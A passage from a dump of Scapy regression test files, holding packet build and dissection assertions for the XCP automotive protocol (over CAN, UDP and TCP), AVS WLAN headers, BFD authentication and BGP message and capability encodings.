conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / AllocOdt(b'\xff\x00\x00\x01') assert cto_request.pid == 0xd4 assert bytes(cto_request) == b'\xd4\xff\x00\x00\x01' assert cto_request['AllocOdt'].daq_list_num == 0x0000 assert cto_request['AllocOdt'].odt_count == 0x01 cto_response = CTOResponse(b'\xFF') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_alloc_odt_entry conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / AllocOdtEntry(b'\xff\x00\x00\x00\x02') assert cto_request.pid == 0xd3 assert bytes(cto_request) == b'\xd3\xff\x00\x00\x00\x02' assert cto_request['AllocOdtEntry'].daq_list_num == 0x0000 assert cto_request['AllocOdtEntry'].odt_num == 0x00 assert cto_request['AllocOdtEntry'].odt_entries_count == 0x02 cto_response = CTOResponse(b'\xFF') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_set_daq_ptr conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / SetDaqPtr(b'\xff\x00\x00\x00\x00') assert cto_request.pid == 0xe2 assert bytes(cto_request) == b'\xe2\xff\x00\x00\x00\x00' assert cto_request['SetDaqPtr'].daq_list_num == 0x0000 assert cto_request['SetDaqPtr'].odt_num == 0x00 assert cto_request['SetDaqPtr'].odt_entry_num == 0x00 cto_response = CTOResponse(b'\xFF') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_write_daq conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / WriteDaq(b'\xFF\x04\x00\x08\x55\x0C\x00') assert cto_request.pid == 0xe1 assert bytes(cto_request) == b'\xe1\xFF\x04\x00\x08\x55\x0C\x00' assert cto_request['WriteDaq'].bit_offset == 0xff assert cto_request['WriteDaq'].size_of_daq_element == 0x04 assert cto_request['WriteDaq'].address_extension == 0x00 assert cto_request['WriteDaq'].address == 0x000C5508 cto_response = CTOResponse(b'\xFF') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_set_daq_list_mode(self): conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / SetDaqListMode(b'\x10\x00\x00\x00\x00\x01\x00') assert cto_request.pid == 0xe0 assert bytes(cto_request) == b'\xe0\x10\x00\x00\x00\x00\x01\x00' set_daq_list_mode_request = cto_request['SetDaqListMode'] assert set_daq_list_mode_request.mode == 0x10 assert "x0" not in set_daq_list_mode_request.mode assert "direction" not in set_daq_list_mode_request.mode assert "x2" not in set_daq_list_mode_request.mode assert "x3" not in set_daq_list_mode_request.mode assert "timestamp" in set_daq_list_mode_request.mode assert "pid_off" not in set_daq_list_mode_request.mode assert "x6" not in set_daq_list_mode_request.mode assert "x7" not in set_daq_list_mode_request.mode assert set_daq_list_mode_request.daq_list_num == 0x0000 assert set_daq_list_mode_request.event_channel_num == 0x0000 assert set_daq_list_mode_request.transmission_rate_prescaler == 0x01 assert set_daq_list_mode_request.daq_list_prio == 0x00 cto_response = CTOResponse(b'\xFF') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_start_stop_daq_list conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / StartStopDaqList(b'\x02\x00\x00') assert cto_request.pid == 0xde assert bytes(cto_request) == b'\xde\x02\x00\x00' assert cto_request['StartStopDaqList'].mode == 0x02 assert cto_request['StartStopDaqList'].daq_list_number == 0x0000 cto_response = CTOResponse(b'\xFF\xbb') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) assert cto_response['StartStopDAQListPositiveResponse'].first_pid == 0xbb = test_get_daq_clock conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / GetDaqClock() assert cto_request.pid == 0xdc assert bytes(cto_request) == b'\xdc' cto_response = CTOResponse(b'\xFF\xFF\xFF\xFF\xAA\xC5\x00\x00') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) get_daq_clock_response = cto_response["DAQClockListPositiveResponse"] assert get_daq_clock_response.receive_timestamp == 0x0000C5AA = Test negative response cto_request = CTORequest() / GetCommModeInfo() cto_response = CTOResponse() / NegativeResponse() assert cto_response.packet_code == 0xFE assert cto_response.answers(cto_request) = test_start_stop_synch conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / StartStopSynch(b'\x01') assert cto_request.pid == 0xdd assert bytes(cto_request) == b'\xdd\x01' assert cto_request['StartStopSynch'].mode == 0x01 cto_response = CTOResponse(b'\xFF') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_program_start conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / ProgramStart() assert cto_request.pid == 0xd2 assert bytes(cto_request) == b'\xd2' cto_response = CTOResponse(b'\xFF\xff\x01\x08\x2A\xFF\xdd') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) program_start_response = cto_response['ProgramStartPositiveResponse'] assert program_start_response.comm_mode_pgm == 0x01 assert "master_block_mode" in program_start_response.comm_mode_pgm assert "interleaved_mode" not in program_start_response.comm_mode_pgm assert "x2" not in program_start_response.comm_mode_pgm assert "x3" not in program_start_response.comm_mode_pgm assert "x4" not in program_start_response.comm_mode_pgm assert "x5" not in program_start_response.comm_mode_pgm assert "slave_block_mode" not in program_start_response.comm_mode_pgm assert "x7" not in program_start_response.comm_mode_pgm assert program_start_response.max_cto_pgm == 0x08 assert program_start_response.max_bs_pgm == 0x2a assert program_start_response.min_bs_pgm == 0xff assert program_start_response.queue_size_pgm == 0xdd = test_program_clear(self): conf.contribs['XCP']['byte_order'] = 0 cto_request = CTORequest() / ProgramClear(b'\x00\xff\xff\x00\x01\x00\x00') assert cto_request.pid == 0xd1 assert bytes(cto_request) == b'\xd1\x00\xff\xff\x00\x01\x00\x00' assert cto_request['ProgramClear'].mode == 0x00 assert cto_request['ProgramClear'].clear_range == 0x00000100 cto_response = CTOResponse(b'\xff') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) = test_program conf.contribs['XCP']['byte_order'] = 0 conf.contribs['XCP']['MAX_CTO'] = 8 conf.contribs['XCP']['Address_Granularity_Byte'] = 1 cto_request = CTORequest() / Program(b'\x06\x00\x01\x02\x03\x04\x05') assert cto_request.pid == 0xd0 assert bytes(cto_request) == b'\xd0\x06\x00\x01\x02\x03\x04\x05' assert cto_request['Program'].nr_of_data_elements == 0x06 assert cto_request['Program'].data_elements == b"\x00\x01\x02\x03\x04\x05" cto_response = CTOResponse(b'\xff') assert cto_response.packet_code == 0xFF assert cto_response.answers(cto_request) + Tests for XCPonUDP = CONNECT cto_request = XCPOnUDP(ctr=0, sport=1, dport=1) / CTORequest() / Connect() assert cto_request.length is None assert cto_request.ctr == 0 assert cto_request.pid == 0xFF assert cto_request.connection_mode == 0 assert bytes(cto_request).endswith(b'\x00\x02\x00\x00\xff\x00') xcp_on_udp = XCPOnUDP(b'\x00\x01\x00\x01\x00\x0c\x00\x00\x00\x08\x00\x01\xff\x15\xC0\x08\x08\x00\x10\x10') assert xcp_on_udp.length == 8 assert xcp_on_udp.ctr == 1 assert xcp_on_udp.answers(cto_request) cto_response = xcp_on_udp["CTOResponse"] assert cto_response.packet_code == 0xFF connect_response = cto_response["ConnectPositiveResponse"] assert connect_response.resource == 0x15 assert connect_response.comm_mode_basic == 0xC0 assert connect_response.max_cto == 8 assert connect_response.max_cto == 8 assert connect_response.xcp_protocol_layer_version_number_msb == 0x10 assert connect_response.xcp_transport_layer_version_number_msb == 0x10 assert conf.contribs['XCP']['byte_order'] == 0 assert conf.contribs['XCP']['MAX_CTO'] == 8 assert conf.contribs['XCP']['MAX_DTO'] == 8 assert conf.contribs['XCP']['Address_Granularity_Byte'] == 1 = CONNECT 2 prt1, prt2 = 12345, 54321 xcp_on_udp_request = XCPOnUDP(sport=prt1, dport=prt2, ctr=0) / CTORequest() / Connect() assert xcp_on_udp_request.length is None assert xcp_on_udp_request.ctr == 0 assert xcp_on_udp_request.pid == 0xFF assert xcp_on_udp_request.connection_mode == 0 assert bytes(xcp_on_udp_request).endswith(b'\x00\x02\x00\x00\xff\x00') xcp_on_udp_response = XCPOnUDP(b'\xd4109\x00\x0c\x00\x00\x00\x08\x00\x01\xff\x15\xC0\x08\x08\x00\x10\x10') assert xcp_on_udp_response.length == 8 assert xcp_on_udp_response.ctr == 1 assert xcp_on_udp_response.answers(xcp_on_udp_request) cto_response = xcp_on_udp_response["CTOResponse"] assert cto_response.packet_code == 0xFF connect_response = cto_response["ConnectPositiveResponse"] assert connect_response.resource == 0x15 assert connect_response.comm_mode_basic == 0xC0 assert connect_response.max_cto == 8 assert connect_response.max_cto == 8 assert connect_response.xcp_protocol_layer_version_number_msb == 0x10 assert connect_response.xcp_transport_layer_version_number_msb == 0x10 assert conf.contribs['XCP']['byte_order'] == 0 assert conf.contribs['XCP']['MAX_CTO'] == 8 assert conf.contribs['XCP']['MAX_DTO'] == 8 assert conf.contribs['XCP']['Address_Granularity_Byte'] == 1 = XCPOnUDP post build length xcp_on_udp_request = XCPOnUDP(sport=1, dport=2, ctr=0) / CTORequest() / Connect() assert bytes(xcp_on_udp_request)[8:10] == b'\x00\x02' + Tests XCPonTCP = CONNECT prt1, prt2 = 12345, 54321 xcp_on_tcp_request = XCPOnTCP(sport=prt1, dport=prt2, ctr=0) / CTORequest() / Connect() assert xcp_on_tcp_request.length is None assert xcp_on_tcp_request.ctr == 0 assert xcp_on_tcp_request.pid == 0xFF assert xcp_on_tcp_request.connection_mode == 0 assert bytes(xcp_on_tcp_request).endswith(b'\x00\x02\x00\x00\xff\x00') xcp_on_tcp_response = XCPOnTCP(b'\xd4109\x00\x00\x00\x00\x00\x00\x00\x00P\x12 \x00\x00\x00\x00\x00\x00\x08\x00\x01\xff\x15\xC0\x08\x08\x00\x10\x10') assert xcp_on_tcp_response.length == 8 assert xcp_on_tcp_response.ctr == 1 assert xcp_on_tcp_response.answers(xcp_on_tcp_request) cto_response = xcp_on_tcp_response["CTOResponse"] assert cto_response.packet_code == 0xFF connect_response = cto_response["ConnectPositiveResponse"] assert connect_response.resource == 0x15 assert connect_response.comm_mode_basic == 0xC0 assert connect_response.max_cto == 8 assert connect_response.max_cto == 8 assert connect_response.xcp_protocol_layer_version_number_msb == 0x10 assert connect_response.xcp_transport_layer_version_number_msb == 0x10 assert conf.contribs['XCP']['byte_order'] == 0 assert conf.contribs['XCP']['MAX_CTO'] == 8 assert conf.contribs['XCP']['MAX_DTO'] == 8 assert conf.contribs['XCP']['Address_Granularity_Byte'] == 1 = XCPOnTCP post build length xcp_on_tcp_request = XCPOnTCP(sport=prt1, dport=prt2, ctr=0) / CTORequest() / Connect() assert bytes(xcp_on_tcp_request)[20:22] == b'\x00\x02' ================================================ FILE: test/contrib/automotive/xcp/xcp_comm.uts ================================================ % Regression tests for the XCP using CANSockets ############ ############ + Configuration ~ conf = Imports from test.testsocket import TestSocket, cleanup_testsockets = Load module load_contrib("automotive.xcp.xcp", globals_dict=globals()) = Connect sock1 = TestSocket(XCPOnCAN) sock2 = TestSocket(XCPOnCAN) sock1.pair(sock2) response = XCPOnCAN(identifier=0x700) / CTOResponse() / ConnectPositiveResponse(b'\x15\xC0\x08\x08\x00\x10\x10') sniffer = AsyncSniffer(opened_socket=sock2, count=1, timeout=5, prn=lambda x: sock2.send(response)) sniffer.start() pkt = XCPOnCAN(identifier=0x700) / CTORequest() / Connect() ans = sock1.sr1(pkt, timeout=0.5, verbose=False) sniffer.join(timeout=1) assert ans.identifier == 0x700 cto_response = ans["CTOResponse"] assert cto_response.packet_code == 0xff connect_response = cto_response["ConnectPositiveResponse"] assert connect_response.resource == 0x15 assert connect_response.comm_mode_basic == 0xC0 assert connect_response.max_cto == 8 assert connect_response.max_dto is None assert connect_response.max_dto_le == 8 assert connect_response.xcp_protocol_layer_version_number_msb == 0x10 assert connect_response.xcp_transport_layer_version_number_msb == 0x10 cto_request = XCPOnCAN(identifier=0x700) / CTORequest() / Connect() assert cto_request.identifier == 0x700 assert cto_request.pid == 0xFF assert cto_request.connection_mode == 0 assert bytes(cto_request) == b'\x00\x00\x07\x00\x02\x00\x00\x00\xff\x00' xcp_on_can = XCPOnCAN(b'\x00\x00\x05\x00\x08\x00\x00\x00\xff\x15\xC0\x08\x08\x00\x10\x10') assert xcp_on_can.identifier == 0x500 assert xcp_on_can.answers(cto_request) cto_response = xcp_on_can["CTOResponse"] assert cto_response.packet_code == 0xFF connect_response = cto_response["ConnectPositiveResponse"] assert connect_response.resource == 0x15 assert connect_response.comm_mode_basic == 0xC0 assert connect_response.max_cto == 8 assert connect_response.max_cto == 8 assert connect_response.xcp_protocol_layer_version_number_msb == 0x10 assert connect_response.xcp_transport_layer_version_number_msb == 0x10 assert conf.contribs['XCP']['byte_order'] == 0 assert conf.contribs['XCP']['MAX_CTO'] == 8 assert conf.contribs['XCP']['MAX_DTO'] == 8 assert conf.contribs['XCP']['Address_Granularity_Byte'] == 1 = Endianness test for ConnectPositiveResponse p = ConnectPositiveResponse(b"\x00\xFF\x01\x00\xFF\x05\x05") assert p.max_dto_le is None assert p.max_dto == 0xff p = ConnectPositiveResponse(b"\x00\x00\x01\xFF\x00\x05\x05") assert p.max_dto_le == 0xff assert p.max_dto is None = Wrong answer request = XCPOnCAN(identifier=0x700) / CTORequest() / Connect() # This response has not enough bytes for a ConnectPositiveResponse response = XCPOnCAN(identifier=0x90) / CTOResponse() / Raw(b'\x01\x02\x03\x04') assert not response.answers(request) + Cleanup = Delete TestSockets cleanup_testsockets() ================================================ FILE: test/contrib/avs.uts ================================================ % Regression tests for the avs module + Basic AVS test = Default build, storage and dissection pkt = AVSWLANHeader()/Dot11()/Dot11Auth() _filepath = get_temp_file(autoext=".pcap") wrpcap(_filepath, pkt) pkt1 = rdpcap(_filepath)[0] assert raw(pkt) == raw(pkt1) assert AVSWLANHeader in pkt assert Dot11 in pkt assert Dot11Auth in pkt try: os.remove(_filepath) except Exception: pass ================================================ FILE: test/contrib/bfd.uts ================================================ + BFD = BFD, basic instantiation from scapy.contrib.bfd import * a = UDP(sport=3784, dport=3784)/BFD() assert raw(a) == b'\x0e\xc8\x0e\xc8\x00 \x00\x00 \xc0\x03\x18\x11\x11\x11\x11"""";\x9a\xca\x00;\x9a\xca\x00;\x9a\xca\x00' = BFD - dissection assert BFD in UDP(raw(a)) = BFD with OptionalAuth [Simple Password Auth] [dissection] p = UDP(b'\x04\x00\x0e\xc8\x00\x29\x72\x31\x20\x44\x05\x21\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0f\x42\x40\x00\x0f\x42\x40\x00\x00\x00\x00\x01\x09\x02\x73\x65\x63\x72\x65\x74\x4e\x0a\x90\x40') assert(isinstance(p[1], BFD)) assert(p[1].len == 33) assert(isinstance(p[2], OptionalAuth)) assert(p[2].auth_type == 1) assert(p[2].auth_len == 9) = BFD with OptionalAuth [Keyed MD5 Auth] [dissection] p = UDP(b'\x04\x00\x0e\xc8\x00\x38\x6a\xcc\x20\x44\x05\x30\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0f\x42\x40\x00\x0f\x42\x40\x00\x00\x00\x00\x02\x18\x02\x00\x00\x00\x00\x05\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16\x3c\xc3\xf8\x21') assert(isinstance(p[1], BFD)) assert(p[1].len == 48) assert(isinstance(p[2], OptionalAuth)) assert(p[2].auth_type ==2) assert(p[2].auth_len == 24) = BFD with OptionalAuth [Meticulous Keyed SHA1 Auth] [dissection] p = UDP(b'\x04\x00\x0e\xc8\x00\x3c\x37\x8a\x20\x44\x05\x34\x00\x00\x00\x01\x00\x00\x00\x00\x00\x0f\x42\x40\x00\x0f\x42\x40\x00\x00\x00\x00\x05\x1c\x02\x00\x00\x00\x00\x05\x01\x02\x03\x04\x05\x06\x07\x08\x09\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\xea\x6d\x1f\x21') assert(isinstance(p[1], BFD)) assert(p[1].len == 52) assert(isinstance(p[2], OptionalAuth)) assert(p[2].auth_type ==5) assert(p[2].auth_len == 28) = BFD with OptionalAuth [Simple Password Auth] [Build] p = UDP(sport=3784, dport=3784)/BFD(flags="A", optional_auth=OptionalAuth(auth_type=1)) assert raw(p) == b'\x0e\xc8\x0e\xc8\x00+\x00\x00 \xc4\x03#\x11\x11\x11\x11"""";\x9a\xca\x00;\x9a\xca\x00;\x9a\xca\x00\x01\x0b\x01password' = BFD with OptionalAuth [Keyed MD5 Auth] [Build] p = UDP(sport=3784, dport=3784)/BFD(flags="A", optional_auth=OptionalAuth(auth_type=2)) assert raw(p) == b'\x0e\xc8\x0e\xc8\x008\x00\x00 \xc4\x030\x11\x11\x11\x11"""";\x9a\xca\x00;\x9a\xca\x00;\x9a\xca\x00\x02\x18\x01\x00\x00\x00\x00\x00_M\xcc;Z\xa7e\xd6\x1d\x83\'\xde\xb8\x82\xcf\x99' = BFD with OptionalAuth [Meticulous Keyed SHA1 Auth] [Build] p = UDP(sport=3784, dport=3784)/BFD(flags="A", optional_auth=OptionalAuth(auth_type=5)) assert raw(p) == b'\x0e\xc8\x0e\xc8\x00<\x00\x00 \xc4\x034\x11\x11\x11\x11"""";\x9a\xca\x00;\x9a\xca\x00;\x9a\xca\x00\x05\x1c\x01\x00\x00\x00\x00\x00[\xaaa\xe4\xc9\xb9??\x06\x82%\x0bl\xf83\x1b~\xe6\x8f\xd8' ================================================ FILE: test/contrib/bgp.uts ================================================ #################################### bgp.py ################################## % Regression tests for the bgp module + Default configuration = OLD speaker (see RFC 6793) bgp_module_conf.use_2_bytes_asn = True ################################ BGPNLRI_IPv4 ################################ + BGPNLRI_IPv4 class tests = BGPNLRI_IPv4 - Instantiation raw(BGPNLRI_IPv4()) == b'\x00' = BGPNLRI_IPv4 - Instantiation with specific values (1) raw(BGPNLRI_IPv4(prefix = '255.255.255.255/32')) == b' \xff\xff\xff\xff' = BGPNLRI_IPv4 - Instantiation with specific values (2) raw(BGPNLRI_IPv4(prefix = '0.0.0.0/0')) == b'\x00' = BGPNLRI_IPv4 - Instantiation with specific values (3) raw(BGPNLRI_IPv4(prefix = '192.0.2.0/24')) == b'\x18\xc0\x00\x02' = BGPNLRI_IPv4 - Basic dissection nlri = BGPNLRI_IPv4(b'\x00') nlri.prefix == '0.0.0.0/0' = BGPNLRI_IPv4 - Dissection with specific values nlri = BGPNLRI_IPv4(b'\x18\xc0\x00\x02') nlri.prefix == '192.0.2.0/24' ################################ BGPNLRI_IPv6 ################################ + BGPNLRI_IPv6 class tests = BGPNLRI_IPv6 - Instantiation raw(BGPNLRI_IPv6()) == b'\x00' = BGPNLRI_IPv6 - Instantiation with specific values (1) raw(BGPNLRI_IPv6(prefix = '::/0')) == b'\x00' = BGPNLRI_IPv6 - Instantiation with specific values (2) raw(BGPNLRI_IPv6(prefix = '2001:db8::/32')) == b' \x01\r\xb8' = BGPNLRI_IPv6 - Basic dissection nlri = BGPNLRI_IPv6(b'\x00') nlri.prefix == '::/0' = BGPNLRI_IPv6 - Dissection with specific values nlri = BGPNLRI_IPv6(b' \x01\r\xb8') nlri.prefix == '2001:db8::/32' #################################### BGP ##################################### + BGP class tests = BGP - Instantiation (Should be a KEEPALIVE) m = BGP() assert raw(m) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' assert m.type == BGP.KEEPALIVE_TYPE = BGP - Instantiation with specific values (1) raw(BGP(type = 0)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x00' = BGP - Instantiation with specific values (2) raw(BGP(type = 1)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x01' = BGP - Instantiation with specific values (3) raw(BGP(type = 2)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x02' = BGP - Instantiation with specific values (4) raw(BGP(type = 3)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x03' = BGP - Instantiation with specific values (5) raw(BGP(type = 4)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' = BGP - Instantiation with specific values (6) raw(BGP(type = 5)) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x05' = BGP - Basic dissection h = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04') assert h.type == BGP.KEEPALIVE_TYPE assert h.len == 19 = BGP - Dissection with specific values h = BGP(b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x01') assert h.type == BGP.OPEN_TYPE assert h.len == 19 = BGP - Test TCP reassembly pkts = sniff(offline=scapy_path("/test/pcaps/bgp_fragmented.pcap.gz"), session=TCPSession) assert len(pkts) == 1 assert BGPUpdate in pkts[0] assert len(pkts[0].nlri) == 512 assert pkts[0].nlri[511].prefix == '91.0.177.0/24' ############################### BGPKeepAlive ################################# + BGPKeepAlive class tests = BGPKeepAlive - Instantiation (by default, should be a "generic" capability) raw(BGPKeepAlive()) raw(BGPKeepAlive()) == b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x13\x04' = BGPKeepAlive - Swallowing tests: combined BGPKeepAlive o = BGPKeepAlive() m=IP(src="12.0.0.1",dst="12.0.0.2")/TCP(dport=54321)/BGP(raw(o)*2) m.show() assert isinstance(m[BGPKeepAlive].payload, BGPKeepAlive) assert m[BGPKeepAlive].payload.marker == 0xffffffffffffffffffffffffffffffff ############################### BGPCapability ################################# + BGPCapability class tests = BGPCapability - Instantiation (by default, should be a "generic" capability) raw(BGPCapability()) raw(BGPCapability()) == b'\x00\x00' = BGPCapability - Instantiation with specific values (1) c = BGPCapability(code = 70) assert raw(c) == b'F\x00' = BGPCapability - Check exception from scapy.contrib.bgp import _BGPInvalidDataException try: BGPCapability("\x00") False except _BGPInvalidDataException: True = BGPCapability - Test haslayer() assert BGPCapFourBytesASN().haslayer(BGPCapability) assert BGPCapability in BGPCapFourBytesASN() = BGPCapability - Test getlayer() assert isinstance(BGPCapFourBytesASN().getlayer(BGPCapability), BGPCapFourBytesASN) assert isinstance(BGPCapFourBytesASN()[BGPCapability], BGPCapFourBytesASN) = BGPCapability - sessions (1) p = IP()/TCP()/BGPCapability() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 = BGPCapability - sessions (2) p = IP()/UDP()/BGPCapability() l = PacketList(p) s = l.sessions() # Crashed on commit: e42ecdc54556c4852ca06b1a6da6c1ccbf3f522e assert len(s) == 1 ############################ BGPCapMultiprotocol ############################## + BGPCapMultiprotocol class tests = BGPCapMultiprotocol - Inheritance c = BGPCapMultiprotocol() assert isinstance(c, BGPCapability) = BGPCapMultiprotocol - Instantiation raw(BGPCapMultiprotocol()) == b'\x01\x04\x00\x00\x00\x00' = BGPCapMultiprotocol - Instantiation with specific values (1) raw(BGPCapMultiprotocol(afi = 1, safi = 1)) == b'\x01\x04\x00\x01\x00\x01' = BGPCapMultiprotocol - Instantiation with specific values (2) raw(BGPCapMultiprotocol(afi = 2, safi = 1)) == b'\x01\x04\x00\x02\x00\x01' = BGPCapMultiprotocol - Dissection with specific values c = BGPCapMultiprotocol(b'\x01\x04\x00\x02\x00\x01') assert c.code == 1 assert c.length == 4 assert c.afi == 2 assert c.reserved == 0 assert c.safi == 1 ############################### BGPCapORFBlock ############################### + BGPCapORFBlock class tests = BGPCapORFBlock - Instantiation raw(BGPCapORFBlock()) == b'\x00\x00\x00\x00\x00' = BGPCapORFBlock - Instantiation with specific values (1) raw(BGPCapORFBlock(afi = 1, safi = 1)) == b'\x00\x01\x00\x01\x00' = BGPCapORFBlock - Instantiation with specific values (2) raw(BGPCapORFBlock(afi = 2, safi = 1)) == b'\x00\x02\x00\x01\x00' = BGPCapORFBlock - Basic dissection c = BGPCapORFBlock(b'\x00\x00\x00\x00\x00') c.afi == 0 and c.reserved == 0 and c.safi == 0 and c.orf_number == 0 = BGPCapORFBlock - Dissection with specific values c = BGPCapORFBlock(b'\x00\x02\x00\x01\x00') c.afi == 2 and c.reserved == 0 and c.safi == 1 and c.orf_number == 0 ############################# BGPCapORFBlock.ORF ############################## + BGPCapORFBlock.ORF class tests = BGPCapORFBlock.ORF - Instantiation raw(BGPCapORFBlock.ORFTuple()) == b'\x00\x00' = BGPCapORFBlock.ORF - Instantiation with specific values (1) raw(BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)) == b'@\x03' = BGPCapORFBlock.ORF - Basic dissection c = BGPCapORFBlock.ORFTuple(b'\x00\x00') c.orf_type == 0 and c.send_receive == 0 = BGPCapORFBlock.ORF - Dissection with specific values c = BGPCapORFBlock.ORFTuple(b'@\x03') c.orf_type == 64 and c.send_receive == 3 ################################# BGPCapORF ################################### + BGPCapORF class tests = BGPCapORF - Inheritance c = BGPCapORF() assert isinstance(c, BGPCapability) = BGPCapORF - Instantiation raw(BGPCapORF()) == b'\x03\x00' = BGPCapORF - Instantiation with specific values (1) raw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\x03\x07\x00\x01\x00\x01\x01@\x03' = BGPCapORF - Instantiation with specific values (2) raw(BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])])) == b'\x03\x0e\x00\x01\x00\x01\x01@\x03\x00\x02\x00\x01\x01@\x03' = BGPCapORF - Basic dissection c = BGPCapORF(b'\x03\x00') c.code == 3 and c.length == 0 = BGPCapORF - Dissection with specific values c = BGPCapORF(orf = [BGPCapORFBlock(afi = 1, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)]), BGPCapORFBlock(afi = 2, safi = 1, entries = [BGPCapORFBlock.ORFTuple(orf_type = 64, send_receive = 3)])]) c.code == 3 and c.orf[0].afi == 1 and c.orf[0].safi == 1 and c.orf[0].entries[0].orf_type == 64 and c.orf[0].entries[0].send_receive == 3 and c.orf[1].afi == 2 and c.orf[1].safi == 1 and c.orf[1].entries[0].orf_type == 64 and c.orf[1].entries[0].send_receive == 3 = BGPCapORF - Dissection p = BGPCapORF(b'\x03\x07\x00\x01\x00\x01\x01@\x03') assert len(p.orf) == 1 ####################### BGPCapGracefulRestart.GRTuple ######################### + BGPCapGracefulRestart.GRTuple class tests = BGPCapGracefulRestart.GRTuple - Instantiation raw(BGPCapGracefulRestart.GRTuple()) == b'\x00\x00\x00\x00' = BGPCapGracefulRestart.GRTuple - Instantiation with specific values raw(BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)) == b'\x00\x01\x01\x80' = BGPCapGracefulRestart.GRTuple - Basic dissection c = BGPCapGracefulRestart.GRTuple(b'\x00\x00\x00\x00') c.afi == 0 and c.safi == 0 and c.flags == 0 = BGPCapGracefulRestart.GRTuple - Dissection with specific values c = BGPCapGracefulRestart.GRTuple(b'\x00\x01\x01\x80') c.afi == 1 and c.safi == 1 and c.flags == 128 ########################### BGPCapGracefulRestart ############################# + BGPCapGracefulRestart class tests = BGPCapGracefulRestart - Inheritance c = BGPCapGracefulRestart() assert isinstance(c, BGPCapGracefulRestart) = BGPCapGracefulRestart - Instantiation raw(BGPCapGracefulRestart()) == b'@\x02\x00\x00' = BGPCapGracefulRestart - Instantiation with specific values (1) raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\x06\x00x\x00\x01\x01\x00' = BGPCapGracefulRestart - Instantiation with specific values (2) raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1)])) == b'@\x06\x00x\x00\x01\x01\x00' = BGPCapGracefulRestart - Instantiation with specific values (3) raw(BGPCapGracefulRestart(restart_time = 120, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\x06\x00x\x00\x01\x01\x80' = BGPCapGracefulRestart - Instantiation with specific values (4) raw(BGPCapGracefulRestart(restart_time = 120, restart_flags = 0x8, entries = [BGPCapGracefulRestart.GRTuple(afi = 1, safi = 1, flags = 128)])) == b'@\x06\x80x\x00\x01\x01\x80' = BGPCapGracefulRestart - Basic dissection c = BGPCapGracefulRestart(b'@\x02\x00\x00') c.code == 64 and c.restart_flags == 0 and c.restart_time == 0 = BGPCapGracefulRestart - Dissection with specific values c = BGPCapGracefulRestart(b'@\x06\x80x\x00\x01\x01\x80') c.code == 64 and c.restart_time == 120 and c.restart_flags == 0x8 and c.entries[0].afi == 1 and c.entries[0].safi == 1 and c.entries[0].flags == 128 ############################ BGPCapFourBytesASN ############################### + BGPCapFourBytesASN class tests = BGPCapFourBytesASN - Inheritance c = BGPCapFourBytesASN() assert isinstance(c, BGPCapFourBytesASN) = BGPCapFourBytesASN - Instantiation raw(BGPCapFourBytesASN()) == b'A\x04\x00\x00\x00\x00' = BGPCapFourBytesASN - Instantiation with specific values (1) raw(BGPCapFourBytesASN(asn = 6555555)) == b'A\x04\x00d\x07\xa3' = BGPCapFourBytesASN - Instantiation with specific values (2) raw(BGPCapFourBytesASN(asn = 